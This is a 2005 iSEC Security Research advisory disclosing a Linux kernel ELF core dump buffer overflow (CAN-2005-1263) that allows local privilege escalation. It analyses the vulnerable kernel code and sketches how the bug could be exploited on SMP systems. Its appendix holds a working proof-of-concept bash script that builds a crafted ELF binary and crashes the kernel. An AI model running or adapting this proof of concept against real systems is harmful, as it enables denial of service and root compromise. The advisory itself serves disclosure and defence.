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Hi,
since it became clear from the discussion in January about the uselib()
vulnerability, that the Linux community prefers full, non-embargoed
disclosure of kernel bugs, I release full details right now. However to
follows at least some of the responsable disclosure rules, no exploit code will be
released. Instead, only a proof-of-concept code is released to demonstrate
the vulnerability.
regards
- --
Paul Starzetz
iSEC Security Research
http://isec.pl/
Synopsis: Linux kernel ELF core dump privilege elevation
Product: Linux kernel
Version: 2.2 up to and including 2.2.27-rc2, 2.4 up to and including
2.4.31-pre1, 2.6 up to and including 2.6.12-rc4
Vendor: http://www.kernel.org/
URL: http://isec.pl/vulnerabilities/isec-0023-coredump.txt
CVE: CAN-2005-1263
Severity: local(9)
Author: Paul Starzetz <ihaquer@isec.pl>
Date: May 11, 2005
Issue:
======
A locally exploitable flaw has been found in the Linux ELF binary format
loader's core dump function that allows local users to gain root
privileges and also execute arbitrary code at kernel privilege level.
Details:
========
The Linux kernel contains a binary format loader layer to load (execute)
programs in different binary formats like ELF or a.out. Some of the
binary format modules like ELF provide an additional function to the
kernel layer named core_dump(). The kernel may call this function if a
fault (e.g. memory access error) occurs during the execution of the
binary. The core_dump() function will be called by the kernel, if the
process's limit for the core file (RLIMIT_CORE) is sufficiently high and
the process's binary format supports core dumping.
The regular task of the core_dump() function is to create an on disk
image of the faulty binary at the moment of the execution fault for
debugging purposes. In the case of an ELF binary, the image will contain
a memory fingerprint of the binary, its registers and moreover some
kernel level structures containing the kernel state of the faulty
process.
An analyze of the ELF's function elf_core_dump() from binfmt_elf.c
revealed a flaw in the handling of the argument area of an ELF process.
The argument area is the memory region of the process (in user space)
that contains program arguments at the time of its initial execution
(argc and argv arguments to the C main() function, arg_start and arg_end
fields in the process's memory descriptor).
Discussion:
=============
The vulnerable code resides in fs/binfmt_elf.c in your preferable
version of the Linux kernel source code tree:
static int elf_core_dump(long signr, struct pt_regs * regs, struct file * file)
{
struct elf_prpsinfo psinfo; /* NT_PRPSINFO */
/* first copy the parameters from user space */
memset(&psinfo, 0, sizeof(psinfo));
{[*] int i, len;
len = current->mm->arg_end - current->mm->arg_start;
[**] if (len >= ELF_PRARGSZ)
len = ELF_PRARGSZ-1;
[1167] copy_from_user(&psinfo.pr_psargs,
(const char *)current->mm->arg_start, len);
where the line numbers are all valid for the 2.4.30 kernel version. As
can be seen from[*] the len variable supplied to the copy_from_user()
function is signed and can potentially take a negative value. That will
let the check [**] pass (since the ELF_PRARGSZ constant is defined
signed the check will be performed with signed arithmetic) and cause a
kernel stack buffer overflow. Note that a negative length provided to
copy_from_user() will be interpreted as a very high positive byte copy
count, since the length argument of the copy_from_user() function is
defined unsigned itself.
However, there is at least one difficulty - how could the len argument
become negative? A fast grep through the source code reveals that the
arg_start/end fields are set only during execution of a new program. In
case of ELF this is performed in the create_elf_tables() subroutine from
binfmt_elf.c, so that in theory those fields are always reset to safe
values. Paradoxically, there is a flaw in the create_elf_tables()
function, that can permit a binary to "inherit" old values from the
preceding binary (during binary execution the task descriptor as well as
the memory descriptor are kept). A look at the code in question reveals:
static elf_addr_t *
create_elf_tables(char *p, int argc, int envc,
struct elfhdr * exec,
unsigned long load_addr,
unsigned long load_bias,
unsigned long interp_load_addr, int ibcs)
{
current->mm->arg_start = (unsigned long) p;
while (argc-->0) {
__put_user((elf_caddr_t)(unsigned long)p,argv++);
len = strnlen_user(p, PAGE_SIZE*MAX_ARG_PAGES);
if (!len || len > PAGE_SIZE*MAX_ARG_PAGES)
[239] return NULL;
p += len;
}
__put_user(NULL, argv);
current->mm->arg_end = current->mm->env_start = (unsigned long) p;
Obviously it is possible to return from create_elf_tables() without
setting arg_end (but with arg_start set to a new value), if the
strnlen_user() function fails to count the length of the binary
argument(s) supplied. If the arg_start value becomes higher than the
previous end of arguments in the "binary before", the difference
<arg_end-arg_start> will evaluate to a negative value, permitting the
buffer overflow described before.
To exactly understand how the strnlen_user() function could fail
counting argument length, we would have to dig very deeply into the
internals of binary execution as well as into those of ELF. However in
order not to sacrifice the briefness of an advisory, here comes the
trick:
It is possible to create a manipulated ELF binary, that specifies an ELF
program section to be loaded at the place of program arguments, but with
no access rights itself (that is, a page table level protection equal to
PROT_NONE). That will cause the strnlen_user() function to page fault at
the first attempt to count argument lengths. Moreover, the loading of
ELF sections happens just after the initial arguments have been set up
in the fresh memory space, so that it is easily possible to "override"
the predefined ELF memory layout. To illustrate this, here two memory
layouts:
(1) initial ELF memory layout before starting to load program sections:
- ----------------EMPTY------------------[ ARGS stack region ] TASK_SIZE
(2) possible memory layout after loading ELF sections:
- ---------[CODE][DATA]------------------[FAKE][stack region ] TASK_SIZE
where FAKE is an ELF section mmaped into memory with PROT_NONE rights
specified.
Last aspect to discuss here is the exploitability under real world
conditions. There is a "bug in the bug": if the copy_from_user()
function will is called with a very high byte count, it will revert to
zeroing the kernel buffer supplied (due to the access_ok() checking),
effectively killing the kernel memory space. However, we believe that it
is possible to carefully prepare the overflow environment in order to
make the bug exploitable. Here just the sketch:
- - the buffer overflown resides on the task's stack in the kernel space,
that is, if the overflow occurs, everything following the task_struct in
kernel space will be zero-killed
- - if the task struct resides just before the end of the kernel
accessible memory, this will cause a kernel Ooops and kill the current
task but probably leave the system stable. If some kernel structure
follows the task struct and contains pointers that are not checked by
the kernel before dereference, this immediately leads to elevated
privileges
- - in the case of SMP the bug is easily exploitable under real world
conditions as follows: two tasks are created at adjacent kernel
addresses (that can be accomplished by creating 3 tasks, core dumping
one of them and inspecting the parent/sibling pointers form the
task_struct!). The first task triggers the overflow, so that the second
task_struct is filled with zeros. The second task running on a second
CPU repeatedly issues a "lcall 27" ABI call, that will use
current->exec_domain pointer without check (stored at the early
beginning of the task_struct). If the second task sets up proper
structures in its virtual memory space, this will let the second task
enter kernel privilege level 0 and permit a recovery from the buffer
overflow.
We were able to successfully exploit the bug under laboratory conditions
even on a single CPU machine.
Impact:
=======
Unprivileged local users may gain elevated (root) privileges. Code may
be executed at the kernel privilege level potentially breaking out of
Linux virtual machines. A hotfix for this vulnerability is to disallow
processes to drop core. This can be accomplished by setting the hard
core size limit to 0.
Credits:
========
Paul Starzetz <ihaquer@isec.pl> has identified the vulnerability and
performed further research. COPYING, DISTRIBUTION, AND MODIFICATION OF
INFORMATION PRESENTED HERE IS ALLOWED ONLY WITH EXPRESS PERMISSION OF
ONE OF THE AUTHORS.
References:
========
[1] http://www.skyfree.org/linux/references/ELF_Format.pdf
[2] http://www.gnu.org/software/binutils/manual/ld-2.9.1/
Disclaimer:
===========
This document and all the information it contains are provided "as is",
for educational purposes only, without warranty of any kind, whether
express or implied.
The authors reserve the right not to be responsible for the topicality,
correctness, completeness or quality of the information provided in
this document. Liability claims regarding damage caused by the use of
any information provided, including any kind of information which is
incomplete or incorrect, will therefore be rejected.
Appendix:
=========
#!/bin/bash
#
# elfcd.sh
# warning: This code will crash your machine
#
cat <<__EOF__>elfcd1.c
/*
* Linux binfmt_elf core dump buffer overflow
*
* Copyright (c) 2005 iSEC Security Research. All Rights Reserved.
*
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
*
*/
// phase 1
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <asm/page.h>
static char *env[10], *argv[4];
static char page[PAGE_SIZE];
static char buf[PAGE_SIZE];
void fatal(const char *msg)
{
if(!errno) {
fprintf(stderr, "\nFATAL: %s\n", msg);
}
else {
printf("\n");
perror(msg);
}
fflush(stdout); fflush(stderr);
_exit(129);
}
int main(int ac, char **av)
{
int esp, i, r;
struct rlimit rl;
__asm__("movl %%esp, %0" : : "m"(esp));
printf("\n[+] %s argv_start=%p argv_end=%p ESP: 0x%x", av[0], av[0], av[ac-1]+strlen(av[ac-1]), esp);
rl.rlim_cur = RLIM_INFINITY;
rl.rlim_max = RLIM_INFINITY;
r = setrlimit(RLIMIT_CORE, &rl);
if(r) fatal("setrlimit");
memset(env, 0, sizeof(env) );
memset(argv, 0, sizeof(argv) );
memset(page, 'A', sizeof(page) );
page[PAGE_SIZE-1]=0;
// move up env & exec phase 2
if(!strcmp(av[0], "AAAA")) {
printf("\n[+] phase 2, <RET> to crash "); fflush(stdout);
argv[0] = "elfcd2";
argv[1] = page;
// term 0 counts!
memset(buf, 0, sizeof(buf) );
for(i=0; i<789 + 4; i++)
buf[i] = 'C';
argv[2] = buf;
execve(argv[0], argv, env);
_exit(127);
}
// move down env & reexec
for(i=0; i<9; i++)
env[i] = page;
argv[0] = "AAAA";
printf("\n[+] phase 1"); fflush(stdout);
execve(av[0], argv, env);
return 0;
}
__EOF__
cat <<__EOF__>elfcd2.c
// phase 2
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <syscall.h>
#include <sys/syscall.h>
#include <asm/page.h>
#define __NR_sys_read __NR_read
#define __NR_sys_kill __NR_kill
#define __NR_sys_getpid __NR_getpid
char stack[4096 * 6];
static int errno;
inline _syscall3(int, sys_read, int, a, void*, b, int, l);
inline _syscall2(int, sys_kill, int, c, int, a);
inline _syscall0(int, sys_getpid);
// yeah, lets do it
void killme()
{
char c='a';
int pid;
pid = sys_getpid();
for(;{
sys_read(0, &c, 1);
sys_kill(pid, 11);
}
}
// safe stack stub
__asm__(
" nop \n"
"_start: movl \$0xbfff6ffc, %esp \n"
" jmp killme \n"
".global _start \n"
);
__EOF__
cat <<__EOF__>elfcd.ld
OUTPUT_FORMAT("elf32-i386", "elf32-i386",
"elf32-i386")
OUTPUT_ARCH(i386)
ENTRY(_start)
SEARCH_DIR(/lib); SEARCH_DIR(/usr/lib); SEARCH_DIR(/usr/local/lib); SEARCH_DIR(/usr/i486-suse-linux/lib);
MEMORY
{
ram (rwxali) : ORIGIN = 0xbfff0000, LENGTH = 0x8000
rom (x) : ORIGIN = 0xbfff8000, LENGTH = 0x10000
}
PHDRS
{
headers PT_PHDR PHDRS ;
text PT_LOAD FILEHDR PHDRS ;
fuckme PT_LOAD AT (0xbfff8000) FLAGS (0x00) ;
}
SECTIONS
{
.dupa 0xbfff8000 : AT (0xbfff8000) { LONG(0xdeadbeef); _bstart = . ; . += 0x7000; } >rom :fuckme
. = 0xbfff0000 + SIZEOF_HEADERS;
.text : { *(.text) } >ram :text
.data : { *(.data) } >ram :text
.bss :
{
*(.dynbss)
*(.bss)
*(.bss.*)
*(.gnu.linkonce.b.*)
*(COMMON)
. = ALIGN(32 / 8);
} >ram :text
}
__EOF__
# compile & run
echo -n "[+] Compiling..."
gcc -O2 -Wall elfcd1.c -o elfcd1
gcc -O2 -nostdlib elfcd2.c -o elfcd2 -Xlinker -T elfcd.ld -static
../elfcd1
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